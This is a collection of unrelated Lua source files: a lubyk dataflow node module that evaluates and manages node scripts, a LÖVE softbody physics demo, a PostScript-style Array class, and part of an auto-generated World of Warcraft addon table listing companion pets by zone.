-- node's environment metatable
local env_mt= {}
local private = {}
local lubyk_mt = {}
lubyk_mt.__index = lubyk_mt
setmetatable(lib, { __call = function(lib, ...) return lib.new(...) end })
function lib.new(process, name, code_str)
local env = {}
-- new node
local self = {
-- Find inlet by name. Inlets not in slots.inlets are removed on GC.
-- Do not change this field name: it is used by editor.Node.
inlets = setmetatable({}, {__mode = 'v'}),
-- Find outlet by name. Outlets not in slots.outlets are removed on GC.
-- Do not change this field name: it is used by editor.Node.
outlets = setmetatable({}, {__mode = 'v'}),
-- GC protection of inlets and outlets. Here the slots are ordered.
slots = {
inlets = {},
outlets = {},
},
accessors = {},
env = env,
errors = {},
name = name,
process = process,
}
setmetatable(self, lib)
-- Table to declare and access outlets
self.outlet_method = lk.OutletMethod(self)
-- env has read access to _G
setmetatable(env, env_mt)
env.lubyk = setmetatable({
-- Table to declare inlets.
i = lk.InletMethod(self),
-- Table to declare and access outlets.
o = self.outlet_method,
-- Table to declare and access parameters.
p = lk.ParamMethod(self),
-- Print to remote GUI
print = function(...) self:log('info', ...) end,
-- Log error or warning to GUI
log = function(...) self:log(...) end,
-- PRIVATE
_node = self,
}, lubyk_mt)
process.nodes[name] = self
-- pending connection resolution
self.pending_inlets = process.pending_nodes[name] or {}
process.pending_nodes[name] = nil
if code_str then
self:eval(code_str)
end
return self
end
-- metatable for the new global env in each
-- node
function env_mt.__index(env, name)
-- if the variable exists in original _G,
-- cache locally
local gvar = _G[name]
rawset(env, name, gvar)
return gvar
end
function lib:url()
if self.parent then
return self.parent:url() .. '/' .. self.name
else
return self.process:url() .. '/' .. self.name
end
end
-- function to reload code
function lib:eval(code_str)
local code, err = loadstring(code_str, self:url())
if not code then
self:error(err)
return
end
-- In case of error, we rollback
local old_slots = self.slots
-- Reset list of GC protected slots.
self.slots = {
inlets = {},
outlets = {},
}
-- Clear cached outlet functions
self.outlet_method:clear()
local old_accessors = self.accessors
self.accessors = {}
-- code will execute in node's environment
setfenv(code, self.env)
-- We use sched pcall to enable yield during code eval (to
-- launch mimas for example).
local ok, err = sched:pcall(code)
if not ok then
self.slots = old_slots
self.accessors = old_accessors
self:error(err)
else
self:log('info', 'Script OK')
self.code = code_str
-- Unused inlets and outlets will be collected by the GC.
end
self.process.need_cleanup = true
end
function lib:set(definition, ignore_links)
if definition.code and definition.code ~= self.code then
self:eval(definition.code)
elseif definition.class then
local code = self.process:findClass(definition.class)
if code then
-- Once the prototype is resolved, we remove 'class' information.
definition.class = nil
definition.code = code
self:eval(code)
else
-- FIXME: set error on Node
error(string.format("Could not find source code for '%s'.", self:url()))
end
elseif not self.code then
-- Try to find code
local code = self.process:findCode(self:url() .. '.lua' )
if code then
self:eval(code)
else
-- FIXME: set error on Node
error(string.format("Could not find source code for '%s'.", self:url()))
end
end
for k, v in pairs(definition) do
if k == '_' then
-- load params after evaluating script code (so that
-- allowed params and inlets are defined).
local params = definition._
if params then
self:setParams(params)
end
elseif k == 'source' or
k == 'links' then
-- ignore (we want to run these in a specific order)
else
self[k] = v
end
end
if not ignore_links then
local links = definition.links
if links then
self:setLinks(links)
end
end
end
function lib:error(...)
self:log('error', ...)
end
local fmt = string.format
function lib:log(typ, ...)
local all = {...}
local f = all[1]
local msg = ''
if type(f) == 'table' then
if f.__tostring then
msg = tostring(f)
else
msg = tostring(f)
end
elseif #all > 1 then
for i, v in ipairs(all) do
if i == 1 then
msg = tostring(v)
else
msg = msg .. '\t'..tostring(v)
end
end
else
msg = tostring(f)
end
self.process:notify {
log = {
url = self:url(),
msg = msg,
typ = typ,
}
}
end
function lib:makeAbsoluteUrl(url)
if string.match(url, '^/') then
return url
else
return (self.parent or self.process):url() .. '/' .. url
end
end
function private:setLink(out_name, target_url, process)
local outlet = self.outlets[out_name]
if not outlet then
self:error(string.format("Outlet name '%s' does not exist.", out_name))
else
local slot, err = process:get(target_url, lk.Inlet)
if slot == false then
-- error
self:error(err)
elseif not slot then
-- slot not found
-- If the slot does not exist yet, make a draft to be used
-- when the node creates the real inlet.
slot, err = process:pendingInlet(target_url)
if not slot then
-- FIXME: store absolute path for 'target_url' in process pending list
-- and resolve this list on node creation
self:error(err)
return
end
end
-- connect to real or pending slot
outlet:connect(slot)
end
end
function private:removeLink(out_name, target_url)
print('REMOVE_LINK', out_name, target_url)
local outlet = self.outlets[out_name]
if outlet then
outlet:disconnect(target_url)
end
end
function lib:setLinks(all_links)
local process = self.process
for out_name, links in pairs(all_links) do
if type(links) == 'string' then
private.setLink(self, out_name, links, process)
else
for target_url, link_def in pairs(links) do
if link_def then
private.setLink(self, out_name, target_url, process)
else
private.removeLink(self, out_name, target_url)
end
end
end
end
end
local function dumpSlots(list, links)
local res = {}
for _,slot in ipairs(list) do
table.insert(res, slot:dump(links))
end
return res
end
function lib:dump()
return {
name = self.name,
hue = self.hue,
x = self.x,
y = self.y,
code = self.code,
--- Params
_ = private.dumpParams(self, true),
inlets = dumpSlots(self.slots.inlets),
outlets = dumpSlots(self.slots.outlets),
}
end
function lib:partialDump(data)
local res = {}
for k, v in pairs(data) do
if k == '_' then
res[k] = private.dumpParams(self, v)
elseif k ~= 'inlets' and k ~= 'outlets' and k ~= 'name' then
-- 'inlets' and 'outlets' should never be in the data
res[k] = self[k]
end
end
if data.code or data.links then
-- code changes can alter slots: dump them
res.has_all_slots = true
res.inlets = dumpSlots(self.slots.inlets)
res.outlets = dumpSlots(self.slots.outlets, data.links)
res._ = private.dumpParams(self, true)
end
return res
end
--- Node has been removed from patch, remove links and gc.
function lib:remove()
-- self.fin = lk.Finalizer(function()
-- print('******************* DELETED', self.name)
-- end)
-- Disconnect all links
for _, outlet in ipairs(self.slots.outlets) do
outlet:disconnectAll()
end
-- Remove from notification center
self.process:onNotify(self, nil)
self.env = nil
self.process.need_cleanup = true
end
function lib:declareParams(hash)
local params_def = {}
self.params_def = params_def
local env = self.env
local accessors = self.accessors
for k, v in pairs(hash) do
if type(k) ~= 'string' then
self:error("Default keys must be strings.")
end
if type(v) ~= 'table' then
-- Short declaration. No min/max nor units.
v = {default = v}
elseif v.min and not v.max or
v.max and not v.min then
self:error(string.format("Incomplete min/max definition for '%s'.", k))
elseif v.min and not (type(v.min) == 'number' and type(v.max) == 'number') then
self:error(string.format("Invalid min/max (not numbers) for '%s'.", k))
end
local vd = v.default
params_def[k] = v
if env[k] == nil then
-- Do not overwrite current values on script reload.
env[k] = vd
local recv = accessors[k]
if recv then
recv(vd)
end
end
end
end
local p_node, p_params = {}, {}
local function doSetParams()
local self, params = p_node, p_params
-- Prepare for partial dump
local pdump = {}
self.pdump = pdump
self.pdump_params = params
local env = self.env
-- Special pos.x accessors need to register
-- set value in pdump directly.
env._pdump = pdump
local accessors = self.accessors
local params_def = self.params_def or {}
if params == true then
-- Query asked for a dump of the params.
pdump = params_def
else
for k, value in pairs(params) do
local def = params_def[k]
if not def then
-- Error notification: Invalid param.
self:error(string.format("Trying to set invalid parameter '%s'.", k))
else
if def.min then
value = (value < def.min and def.min) or
(value > def.max and def.max) or
value
end
env[k] = value
local recv = accessors[k]
if recv then
recv(value)
-- 'receive' might set _pdump directly
pdump[k] = pdump[k] or env[k]
else
pdump[k] = value
end
end
end
end
-- Call 'param.changed' function in env if
-- it exists.
local func = accessors.changed
if func then
func(pdump)
end
end
--- Receive control events: update setting.
function lib:setParams(params)
p_node, p_params = self, params
local ok, err = pcall(doSetParams)
if not ok then
p_node:error(err)
end
end
--- Receive a single param change from a source inside the process so
-- we need to notify.
function lib:setParam(k, value)
local params_def = self.params_def or {}
local accessors = self.accessors
if not params_def[k] then
-- Error notification: Invalid param.
self:error(string.format("Trying to set invalid parameter '%s'.", k))
else
self.env[k] = value
local recv = accessors[k]
if recv then
recv(value)
end
-- Call 'param.changed' function in env if
-- it exists.
local func = accessors.changed
if func then
func({k = value})
end
end
self.process:notify {
-- YUCK ! FIXME: Why don't we use an alternative messaging method with
-- string urls: notify('/foo/bar/_/baz', value) ?
nodes = {
[self.name] = {
_ = {[k] = value},
},
},
}
end
function private:dumpParams(params)
if params == self.pdump_params then
-- Optimization, send partial dump back.
return self.pdump
else
local params_def = self.params_def
if params_def then
local env = self.env
local res = {}
if params == true then
-- Dump all
for k, def in pairs(params_def) do
def.value = env[k]
res[k] = def
end
else
for k, _ in pairs(params) do
-- Invalid param ?
local def = params_def[k]
if not def then
-- Mark as invalid
res[k] = {err = 'invalid parameter'}
else
-- Only notify value
res[k] = env[k]
end
end
end
return res
else
return nil
end
end
end
-- lubyk()
function lubyk_mt:__call()
return self.i, self.o, self.p, self.print
end
function lubyk_mt:setParam(...)
self._node.process:setParam(self, ...)
end
function lubyk_mt:info()
return {
name = self.node.name,
url = self.node:url(),
}
end
-- register a function that should be called if there is a
-- notification
function lubyk_mt:onNotify(callback)
self._node.process:onNotify(self.node, callback)
end
lib.DEFAULT_CODE = [=[
--[[------------------------------------------------------
# Title
Summary
## Inlets
+ foo: does this.
+ bar: does that.
## Outlets
+ bang: does blah.
--]]------------------------------------------------------
local i, o, p, print = lubyk()
-- ## Params
p {
}
-- ## Inlets
function i.bar()
end
-- ## Outlets
o.foo = {}
-- ## Code
-- ## Hooks
]=]
|
--[[
This is an example usage of the loveblobs library
use mouse 1 to grab objects
use mouse 2 to spawn softbodies
--]]
love.blobs = require "loveblobs"
local util = require "loveblobs.util"
local softbodies = {}
local mousejoint = nil
function love.load()
-- init the physics world
love.physics.setMeter(16)
world = love.physics.newWorld(0, 9.81*16, true)
-- make a floor out of a softsurface
local points = {
0,500, 800,500,
800,800, 0,800
}
local b = love.blobs.softsurface(world, points, 64, "static")
table.insert(softbodies, b)
-- some random dynamic softsurface shape
points = {
400,0, 550,200,
400,300, 250,200
}
b = love.blobs.softsurface(world, points, 16, "dynamic")
table.insert(softbodies, b)
-- a softbody
local b = love.blobs.softbody(world, 400, -300, 102, 2, 4)
b:setFrequency(1)
b:setDamping(0.1)
b:setFriction(1)
table.insert(softbodies, b)
love.graphics.setBackgroundColor(255, 255, 255)
end
function love.update(dt)
-- update the physics world
for i=1,4 do
world:update(dt)
end
local mx,my = love.mouse:getPosition()
for i,v in ipairs(softbodies) do
v:update(dt)
local body = nil
if tostring(v) == "softbody" then
body = v.centerBody
elseif tostring(v) == "softsurface" and v.phys then
for i,v in ipairs(v.phys) do
if util.dist(mx, my, v.body:getX(), v.body:getY()) < 16 and v.fixture:getUserData() == "softsurface" then
body = v.body
end
end
end
if body then
if love.mouse.isDown(1) and util.dist(mx, my, body:getX(), body:getY()) < 128 then
if mousejoint == nil then
mousejoint = love.physics.newMouseJoint(body, body:getPosition())
mousejoint:setMaxForce(50000)
mousejoint:setFrequency(5000)
mousejoint:setDampingRatio(1)
end
end
end
end
if mousejoint then
mousejoint:setTarget(mx, my)
end
if mousejoint ~= nil and not love.mouse.isDown(1) then
mousejoint:destroy()
mousejoint = nil
end
end
function love.mousepressed(x, y, button)
if button == 2 then
local b = love.blobs.softbody(world, x, y, 102, 2, 4)
b:setFrequency(1)
b:setDamping(0.1)
b:setFriction(1)
table.insert(softbodies, b)
end
end
function love.draw()
for i,v in ipairs(softbodies) do
if love.getVersion == 0 then
love.graphics.setColor(50*i, 100, 200*i)
else
love.graphics.setColor(0.2*i, 0.4, 0.8*i)
end
if (tostring(v) == "softbody") then
v:draw("fill", false)
else
v:draw(false)
end
end
end
|
--[[
Array
The Array object represents the Postscript Array. It
has a few features and functions which make it
convenient.
A fixed size array, with an index starting at '0'
Useful when we want a more typical 'C' style array
of a fixed size.
The array guards against writing past its stated
capacity. You must specify a capacity in the constructor
or you will receive a nil back.
local arr = Array(5)
]]
local Array = {}
setmetatable(Array, {
__call = function(self, ...)
return self:new(...)
end;
})
local Array_mt = {
-- using trying to retrieve a value
__index = function(self, idx)
--print("Array_mt.__index: ", idx)
local num = tonumber(idx)
if num then
return self.__impl[num+1]
end
-- The index was not a number, so perform
-- some function, or return some attribute
if idx == "kind" then
return 'array'
elseif idx == "isExecutable" then
return self.__attributes.isExecutable
elseif idx == "capacity" then
return self.__attributes.capacity
elseif idx == "length" then
return function(self) return self.capacity end
elseif idx == "put" then
return function(self, idx, any) self[idx] = any end
elseif idx == "get" then
return function(self, idx) return self[idx] end
elseif idx == "getInterval" then
return function(self, idx, count)
-- guard against negative count, but all
-- for an empty array
count = math.min(count, self.capacity-idx)
if count < 0 then
return nil
end
-- Create a new array with capacity == count
local arr = Array(count)
if count == 0 then
return arr
end
for nidx = 0, count-1 do
arr[nidx] = self[idx+nidx]
end
return arr
end
elseif idx == "putInterval" then
return function(self, offset, other)
local count = math.min(#other, self.capacity-offset)
--print("Array.putInterval, #: ", self:length(), offset, count)
if count < 1 then
return self
end
for i=0,count-1 do
local value = other[i]
--print(" ", value)
self[offset+i] = value;
end
return self
end
elseif idx == "elements" then
-- iterator over elements in array
local function gen(param, state)
--print("array.elements.gen: ", param, state, param:length())
if state >= param:length() then
return nil
end
return state+1, param[state]
end
return function() return gen, self, 0 end
end
return nil
end;
-- user trying to set a value
__newindex = function(self, idx, value)
local num = tonumber(idx)
--print("__newindex: ", idx, value)
-- if it's a number, then we'll set the value
-- of the element at the index+1
if num then
-- protect against index beyond capacity
if num >= self.__attributes.capacity then
return false
end
self.__impl[num+1] = value
else
if idx == "isExecutable" then
self.__attributes.isExecutable = value
end
end
return true
end;
__len = function(self)
return self.__attributes.capacity
end;
__tostring = function(self)
--print("Array.__tostring")
local n = #self
--print("SIZE: ", n)
if n == 0 then
return ""
end
local tmp = {}
for i=1,n do
--print(self[i-1])
table.insert(tmp, tostring(self[i-1]))
end
return table.concat(tmp,' ')
end;
}
--[[
An array must have a given size to start
It can be index using numeric values
which start at 0 NOT 1
You can access attributes using '.' notation
Attributes
capacity
isExecutable
capacity is not changeable
isExecutable is either true or false
--]]
function Array.new(self, cnt, isExecutable)
if not cnt then return nil end
if isExecutable == nil then isExecutable = false end
local obj = {
__impl = {};
__attributes = {
capacity = cnt;
isExecutable = isExecutable;
};
}
setmetatable(obj, Array_mt)
return obj
end
return Array |
-- auto generated by collectmedb on 2019-11-30 22:13:22
local CollectMe = LibStub("AceAddon-3.0"):GetAddon("CollectMe")
local Data = CollectMe:GetModule("Data")
Data.CompanionsZone = {
[2403] = { [862] = 862, [942] = 942 }, -- Abyssal Eel
[2678] = { [1355] = 1355 }, -- Abyssal Slitherling
[1624] = { [339] = 339 }, -- Abyssius
[2420] = { [863] = 863 }, -- Accursed Hexxer
[635] = { [1] = 1, [10] = 10, [199] = 199, [17] = 17, [27] = 27, [50] = 50, [100] = 100, [107] = 107, [550] = 550, [542] = 542, [606] = 606 }, -- Adder
[1805] = { [125] = 125, [627] = 627 }, -- Alarm-o-Bot
[2533] = { [27] = 27 }, -- Alarm-O-Dog
[1708] = { [630] = 630, [634] = 634 }, -- Albatross Chick
[1385] = { [585] = 585, [579] = 579 }, -- Albino Chimaeraling
[2555] = { [76] = 76, [862] = 862, [895] = 895 }, -- Albino Duskwatcher
[74] = { [125] = 125, [627] = 627 }, -- Albino Snake
[2433] = { [14] = 14 }, -- Aldrusian Sproutling
[1918] = { [84] = 84, [125] = 125, [627] = 627, [895] = 895 }, -- Alliance Enthusiast
[2672] = { [1490] = 1490 }, -- Alloyed Alleyrat
[487] = { [198] = 198, [65] = 65, [83] = 83, [650] = 650 }, -- Alpine Chipmunk
[441] = { [83] = 83, [27] = 27 }, -- Alpine Hare
[732] = { [422] = 422, [388] = 388 }, -- Amber Moth
[1465] = { [543] = 543 }, -- Amberbarb Wasp
[2586] = { [474] = 474 }, -- Amberglow Stinger
[838] = { [66] = 66, [207] = 207 }, -- Amethyst Shale Hatchling
[2697] = { [1355] = 1355 }, -- Amethyst Softshell
[716] = { [418] = 418 }, -- Amethyst Spiderling
[212] = { [118] = 118 }, -- Ammen Vale Lashling
[52] = { [64] = 64 }, -- Ancona Chicken
[1163] = { [83] = 83 }, -- Anodized Robo Cub
[2122] = { [885] = 885 }, -- Antoran Bile Larva
[2126] = { [885] = 885 }, -- Antoran Bilescourge
[1155] = { [319] = 319 }, -- Anubisath Idol
[836] = { [422] = 422 }, -- Aqua Strider
[2720] = { [1490] = 1490 }, -- Arachnoid Skitterbot
[1160] = { [42] = 42 }, -- Arcane Eye
[2131] = { [882] = 882 }, -- Arcane Gorger
[558] = { [120] = 120 }, -- Arctic Fox Kit
[641] = { [114] = 114, [115] = 115, [120] = 120, [121] = 121 }, -- Arctic Hare
[216] = { [118] = 118 }, -- Argent Gruntling
[214] = { [118] = 118 }, -- Argent Squire
[272] = { [85] = 85 }, -- Armadillo Pup
[2766] = { [1490] = 1490 }, -- Armored Vaultbot
[632] = { [198] = 198, [78] = 78 }, -- Ash Lizard
[427] = { [32] = 32, [535] = 535 }, -- Ash Spiderling
[425] = { [36] = 36, [104] = 104, [539] = 539, [680] = 680 }, -- Ash Viper
[1927] = { [641] = 641 }, -- Ash'ana
[1323] = { [554] = 554 }, -- Ashleaf Spriteling
[1706] = { [641] = 641 }, -- Ashmaw Cub
[1150] = { [232] = 232 }, -- Ashstone Core
[1324] = { [554] = 554 }, -- Ashwing Moth
[1738] = { [641] = 641 }, -- Auburn Ringtail
[1429] = { [125] = 125, [627] = 627 }, -- Autumnal Sproutling
[1470] = { [543] = 543 }, -- Axebeak Hatchling
[2439] = { [81] = 81, [947] = 947 }, -- Azerite Puddle
[2429] = { [81] = 81, [947] = 947 }, -- Azeriti
[1321] = { [554] = 554 }, -- Azure Crane Chick
[57] = { [83] = 83 }, -- Azure Whelpling
[2583] = { [456] = 456 }, -- Azure Windseeker
[411] = { [210] = 210 }, -- Baby Ape
[2477] = { [947] = 947 }, -- Baby Crawg
[1884] = { [650] = 650 }, -- Baby Elderhorn
[2537] = { [862] = 862 }, -- Baby Zandalari Raptor
[2047] = { [378] = 378 }, -- Ban-Fu, Cub of Ban-Lu
[706] = { [376] = 376 }, -- Bandicoon
[707] = { [376] = 376 }, -- Bandicoon Kit
[2582] = { [471] = 471 }, -- Baoh-Xi
[2425] = { [864] = 864, [942] = 942 }, -- Barnacled Hermit Crab
[2385] = { [862] = 862 }, -- Barrier Hermit
[626] = { [198] = 198, [23] = 23, [18] = 18 }, -- Bat
[406] = { [77] = 77, [81] = 81, [78] = 78, [15] = 15, [23] = 23, [50] = 50, [210] = 210 }, -- Beetle
[1934] = { [680] = 680 }, -- Benax
[2123] = { [830] = 830 }, -- Bile Larva
[2408] = { [862] = 862, [896] = 896 }, -- Bilefang Skitterer
[2124] = { [830] = 830 }, -- Bilescourge
[649] = { [119] = 119 }, -- Biletoad
[75] = { [85] = 85 }, -- Black Kingsnake
[374] = { [37] = 37 }, -- Black Lamb
[398] = { [70] = 70, [64] = 64, [15] = 15, [47] = 47, [23] = 23, [241] = 241, [22] = 22, [56] = 56 }, -- Black Rat
[42] = { [25] = 25 }, -- Black Tabby Cat
[1743] = { [650] = 650, [634] = 634 }, -- Black-Footed Fox Kit
[2657] = { [1512] = 1512 }, -- Blackchasm Crawler
[1322] = { [85] = 85, [556] = 556 }, -- Blackfuse Bombling
[2086] = { [367] = 367 }, -- Blazehound
[1693] = { [534] = 534, [577] = 577 }, -- Blazing Firehawk
[1753] = { [649] = 649 }, -- Bleakwater Jelly
[1965] = { [118] = 118, [186] = 186 }, -- Blightbreath
[455] = { [21] = 21 }, -- Blighted Squirrel
[456] = { [22] = 22 }, -- Blighthawk
[1915] = { [125] = 125, [627] = 627 }, -- Blind Rat
[2476] = { [947] = 947 }, -- Bloated Bloodfeaster
[1964] = { [118] = 118, [186] = 186 }, -- Blood Boil
[1468] = { [534] = 534, [577] = 577 }, -- Bloodbeak
[2414] = { [863] = 863 }, -- Bloodfeaster Larva
[2388] = { [863] = 863 }, -- Bloodfever Tarantula
[2652] = { [1355] = 1355 }, -- Bloodseeker
[1462] = { [542] = 542 }, -- Bloodsting Wasp
[1577] = { [585] = 585, [579] = 579 }, -- Bloodthorn Hatchling
[1666] = { [407] = 407 }, -- Blorp
[145] = { [109] = 109 }, -- Blue Dragonhawk Hatchling
[2422] = { [862] = 862, [942] = 942 }, -- Blue Flitter
[259] = { [198] = 198 }, -- Blue Mini Jouster
[138] = { [103] = 103 }, -- Blue Moth
[2398] = { [863] = 863 }, -- Boghopper
[40] = { [37] = 37 }, -- Bombay Cat
[2719] = { [1490] = 1490 }, -- Bonebiter
[1963] = { [118] = 118, [186] = 186 }, -- Boneshard
[1343] = { [554] = 554 }, -- Bonkers
[639] = { [114] = 114 }, -- Borean Marmot
[2082] = { [294] = 294 }, -- Bound Stream
[1572] = { [535] = 535 }, -- Brilliant Bloodfeather
[1540] = { [542] = 542 }, -- Brilliant Spore
[2706] = { [1355] = 1355 }, -- Brinestone Algan
[1563] = { [17] = 17 }, -- Bronze Whelpling
[449] = { [26] = 26, [105] = 105, [543] = 543 }, -- Brown Marmot
[70] = { [7] = 7 }, -- Brown Prairie Dog
[137] = { [109] = 109 }, -- Brown Rabbit
[77] = { [85] = 85 }, -- Brown Snake
[2479] = { [85] = 85, [125] = 125, [627] = 627, [862] = 862 }, -- Bucketshell
[380] = { [371] = 371 }, -- Bucktooth Flapper
[2707] = { [1355] = 1355 }, -- Budding Algan
[2442] = { [947] = 947 }, -- Bumbles
[1726] = { [650] = 650 }, -- Burrow Spiderling
[224] = { [127] = 127 }, -- Calico Cat
[2428] = { [864] = 864, [942] = 942 }, -- Carnivorous Lasher
[540] = { [198] = 198 }, -- Carrion Rat
[459] = { [14] = 14, [37] = 37, [94] = 94, [110] = 110, [109] = 109 }, -- Cat
[2690] = { [1355] = 1355 }, -- Caverndark Nightmare
[1586] = { [534] = 534, [577] = 577 }, -- Cerulean Moth
[1633] = { [335] = 335 }, -- Chaos Pup
[474] = { [10] = 10 }, -- Cheetah Cub
[1303] = { [554] = 554 }, -- Chi-Chi, Hatchling of Chi-Ji
[646] = { [70] = 70, [47] = 47, [37] = 37, [25] = 25, [49] = 49, [18] = 18, [52] = 52, [56] = 56, [108] = 108, [117] = 117 }, -- Chicken
[2418] = { [862] = 862 }, -- Child of Jani
[2527] = { [1352] = 1352 }, -- Child of Pa'ku
[2658] = { [1512] = 1512 }, -- Chitterspine Deepstalker
[2691] = { [1355] = 1355 }, -- Chitterspine Devourer
[2689] = { [1355] = 1355 }, -- Chitterspine Needler
[2648] = { [1355] = 1355 }, -- Chitterspine Skitterling
[1152] = { [287] = 287 }, -- Chrominius
[2087] = { [367] = 367 }, -- Cinderweb Recluse
[2675] = { [1490] = 1490 }, -- Clanking Scrapsorter
[518] = { [107] = 107, [550] = 550 }, -- Clefthoof Runt
[1142] = { [503] = 503 }, -- Clock'em
[742] = { [422] = 422 }, -- Clouded Hedgehog
[2400] = { [863] = 863 }, -- Coastal Bounder
[1914] = { [76] = 76, [630] = 630, [790] = 790, [680] = 680, [713] = 713 }, -- Coastal Sandpiper
[2386] = { [896] = 896 }, -- Coastal Scuttler
[47] = { [210] = 210 }, -- Cockatiel
[393] = { [78] = 78, [36] = 36, [23] = 23, [26] = 26, [241] = 241, [56] = 56, [118] = 118, [543] = 543, [595] = 595 }, -- Cockroach
[1164] = { [105] = 105 }, -- Cogblade Raptor
[1232] = { [332] = 332 }, -- Coilfang Stalker
[2581] = { [471] = 471 }, -- Comet
[2668] = { [1490] = 1490 }, -- Copper Hopper
[562] = { [371] = 371 }, -- Coral Adder
[2708] = { [1355] = 1355 }, -- Coral Lashling
[488] = { [65] = 65 }, -- Coral Snake
[1775] = { [650] = 650 }, -- Coralback Fiddler
[1149] = { [232] = 232 }, -- Corefire Imp
[1890] = { [85] = 85, [84] = 84 }, -- Corgi Pup
[2405] = { [896] = 896 }, -- Corlain Falcon
[41] = { [37] = 37 }, -- Cornish Rex Cat
[1672] = { [661] = 661 }, -- Corrupted Nest Guardian
[2427] = { [862] = 862, [942] = 942 }, -- Cou'pa
[1931] = { [630] = 630 }, -- Court Scribe
[1396] = { [585] = 585, [579] = 579 }, -- Crazy Carrot
[1962] = { [147] = 147 }, -- Creeping Tentacle
[468] = { [1] = 1 }, -- Creepy Crawly
[507] = { [57] = 57 }, -- Crested Owl
[2424] = { [863] = 863, [896] = 896 }, -- Crimson Frog
[559] = { [207] = 207 }, -- Crimson Geode
[318] = { [338] = 338 }, -- Crimson Lasher
[421] = { [50] = 50, [210] = 210 }, -- Crimson Moth
[2562] = { [76] = 76, [862] = 862, [895] = 895 }, -- Crimson Octopode
[554] = { [207] = 207 }, -- Crimson Shale Hatchling
[2794] = { [942] = 942 }, -- Crimson Skipper
[78] = { [85] = 85, [109] = 109 }, -- Crimson Snake
[1537] = { [543] = 543 }, -- Crimson Spore
[58] = { [56] = 56 }, -- Crimson Whelpling
[1589] = { [535] = 535 }, -- Crimsonwing Moth
[1752] = { [650] = 650 }, -- Crispin
[2115] = { [885] = 885 }, -- Cross Gazer
[1068] = { [407] = 407 }, -- Crow
[745] = { [422] = 422 }, -- Crunchy Scorpion
[1688] = { [585] = 585, [579] = 579 }, -- Crusher
[2749] = { [23] = 23 }, -- Crypt Fiend
[556] = { [207] = 207 }, -- Crystal Beetle
[634] = { [83] = 83 }, -- Crystal Spider
[1809] = { [680] = 680 }, -- Crystalline Broodling
[1521] = { [84] = 84, [18] = 18 }, -- Cursed Birman
[2695] = { [1355] = 1355 }, -- Daggertooth Frenzy
[2699] = { [1355] = 1355 }, -- Damplight Slug
[751] = { [390] = 390 }, -- Dancing Water Skimmer
[1329] = { [554] = 554 }, -- Dandelion Frolicker
[270] = { [85] = 85 }, -- Dark Phoenix Hatchling
[56] = { [70] = 70, [15] = 15, [36] = 36, [56] = 56 }, -- Dark Whelpling
[336] = { [407] = 407 }, -- Darkmoon Balloon
[343] = { [407] = 407 }, -- Darkmoon Cub
[1062] = { [407] = 407 }, -- Darkmoon Glowfly
[1061] = { [407] = 407 }, -- Darkmoon Hatchling
[330] = { [407] = 407 }, -- Darkmoon Monkey
[848] = { [407] = 407 }, -- Darkmoon Rabbit
[338] = { [407] = 407 }, -- Darkmoon Tonk
[335] = { [407] = 407 }, -- Darkmoon Turtle
[339] = { [407] = 407 }, -- Darkmoon Zeppelin
[508] = { [62] = 62 }, -- Darkshore Cub
[2544] = { [62] = 62 }, -- Darkshore Sentinel
[2157] = { [863] = 863 }, -- Dart
[232] = { [70] = 70 }, -- Darting Hatchling
[2538] = { [862] = 862 }, -- Dasher
[1330] = { [554] = 554 }, -- Death Adder Hatchling
[1153] = { [287] = 287 }, -- Death Talon Whelpguard
[755] = { [198] = 198 }, -- Death's Head Cockroach
[1449] = { [85] = 85 }, -- Deathwatch Hatchling
[555] = { [207] = 207 }, -- Deepholm Cockroach
[2651] = { [1355] = 1355 }, -- Deeptide Fingerling
[484] = { [66] = 66, [81] = 81, [71] = 71, [249] = 249 }, -- Desert Spider
[2546] = { [62] = 62 }, -- Detective Ray
[233] = { [279] = 279 }, -- Deviate Hatchling
[523] = { [117] = 117 }, -- Devouring Maggot
[504] = { [78] = 78 }, -- Diemetradon Hatchling
[1205] = { [507] = 507 }, -- Direhorn Runt
[2079] = { [285] = 285 }, -- Discarded Experiment
[1564] = { [543] = 543 }, -- Doom Bloom
[2085] = { [328] = 328 }, -- Drafty
[537] = { [115] = 115 }, -- Dragonbone Hatchling
[1952] = { [172] = 172 }, -- Dreadmaw
[1722] = { [777] = 777 }, -- Dream Whelpling
[1331] = { [85] = 85, [556] = 556 }, -- Droplet of Y'Shaarj
[2710] = { [1355] = 1355 }, -- Drowned Hatchling
[1967] = { [118] = 118, [186] = 186 }, -- Drudge Ghoul
[2406] = { [862] = 862, [896] = 896 }, -- Drustvar Piglet
[205] = { [118] = 118 }, -- Dun Morogh Cub
[467] = { [1] = 1, [85] = 85, [249] = 249 }, -- Dung Beetle
[207] = { [118] = 118 }, -- Durotar Scorpion
[396] = { [47] = 47 }, -- Dusk Spiderling
[2662] = { [1490] = 1490 }, -- Duskytooth Snooter
[1778] = { [125] = 125, [627] = 627 }, -- Dust Bunny
[1588] = { [585] = 585, [579] = 579 }, -- Dusty Sporewing
[1979] = { [85] = 85, [125] = 125, [627] = 627, [862] = 862 }, -- Dutiful Gruntling
[1978] = { [84] = 84, [125] = 125, [627] = 627, [895] = 895 }, -- Dutiful Squire
[1761] = { [650] = 650 }, -- Echo Batling
[747] = { [390] = 390 }, -- Effervescent Glowfly
[1181] = { [504] = 504 }, -- Elder Python
[1774] = { [630] = 630 }, -- Eldritch Manafiend
[1179] = { [504] = 504 }, -- Electrified Razortooth
[293] = { [249] = 249, [241] = 241, [207] = 207 }, -- Elementium Geode
[479] = { [89] = 89, [66] = 66, [198] = 198, [57] = 57 }, -- Elfin Rabbit
[2389] = { [863] = 863 }, -- Elusive Skimmer
[209] = { [118] = 118 }, -- Elwynn Lamb
[631] = { [10] = 10, [199] = 199, [249] = 249, [78] = 78 }, -- Emerald Boa
[1167] = { [119] = 119 }, -- Emerald Proto-Whelp
[837] = { [207] = 207 }, -- Emerald Shale Hatchling
[564] = { [371] = 371 }, -- Emerald Turtle
[59] = { [69] = 69 }, -- Emerald Whelpling
[1720] = { [630] = 630 }, -- Emmigosa
[746] = { [422] = 422 }, -- Emperor Crab
[1766] = { [107] = 107, [550] = 550 }, -- Empowered Manafiend
[1765] = { [107] = 107, [550] = 550 }, -- Empyreal Manafiend
[213] = { [118] = 118 }, -- Enchanted Broom
[2201] = { [947] = 947 }, -- Enchanted Tiki Mask
[1764] = { [107] = 107, [550] = 550 }, -- Energized Manafiend
[1773] = { [630] = 630 }, -- Erudite Manafiend
[383] = { [390] = 390 }, -- Eternal Strider
[2548] = { [62] = 62 }, -- Everburning Treant
[2664] = { [1490] = 1490 }, -- Experimental Roach
[1717] = { [680] = 680 }, -- Extinguished Eye
[1719] = { [680] = 680 }, -- Eye of Inquisition
